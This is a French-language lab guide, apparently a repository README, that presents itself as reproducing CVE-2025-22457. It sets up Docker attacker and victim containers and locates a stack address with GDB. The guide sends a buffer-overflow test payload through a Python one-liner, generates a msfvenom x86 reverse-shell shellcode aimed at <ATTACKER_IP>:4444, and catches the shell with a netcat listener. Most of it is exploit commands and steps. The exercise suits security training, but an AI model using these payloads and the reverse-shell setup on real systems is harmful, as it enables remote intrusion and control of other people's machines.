Labo pratique reproduisant CVE-2025-22457 : met en place des conteneurs Docker attaquant/victime, trouve les adresses de pile avec GDB et délivre un exploit de reverse shell msfvenom.
Si vous utilisez Windows, vous pouvez ouvrir wsl pour l'exécuter
chmod +x setup_environment.sh
./setup_environment.sh
Comme les adresses mémoire et les IP sont dynamiques selon l'environnement, il faut les trouver manuellement et mettre à jour le script exploit.py.
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
L'objectif de cette étape est de trouver une adresse de pile stable afin que notre payload puisse sauter précisément.
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
Déclencher le point d'arrêt : utilisez le conteneur Docker attacker et exécutez la commande suivante pour envoyer un payload de test. Cela fera s'arrêter GDB sur le point d'arrêt. Remarque : remplacez <VICTIM_IP> par l'IP de la Victim affichée à l'étape 1.
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
Trouver et noter l'adresse : revenez au terminal où se trouve GDB, le programme devrait être arrêté. Exécutez la commande suivante pour examiner la pile :
(gdb) x/200wx $esp
Dans la sortie, trouvez une zone composée de 0x43434343 (représentant 'C'). Choisissez une adresse au hasard au milieu de cette zone (par exemple 0xffffd580) et copiez-la. C'est la stack_address.
À l'aide d'un éditeur de texte, remplacez la stack_address dans exploit.py par l'adresse que vous venez de copier.
Dans le shell du conteneur attacker, exécutez la commande msfvenom pour générer le shellcode. Remarque : remplacez <ATTACKER_IP> par l'IP de l'Attacker affichée à l'étape 1.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
Copiez l'intégralité du bloc buf = b""... produit par msfvenom et utilisez-le pour remplacer entièrement la partie variable buf existante dans le fichier exploit.py.
nc -lvnp 4444
Vous pouvez utiliser l'une des deux méthodes suivantes Méthode 1
./vulnserver
Méthode 2
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
Vérifier le résultat : revenez à la fenêtre où se trouve l'écouteur netcat. Si tout se passe bien, vous verrez une connexion s'établir et obtiendrez un shell interactif. Vous pouvez saisir des commandes comme whoami, ls -la pour vérifier.
Saisissez quit dans GDB, puis exit dans le shell du conteneur.
docker stop vic atac
docker network rm 111550082_net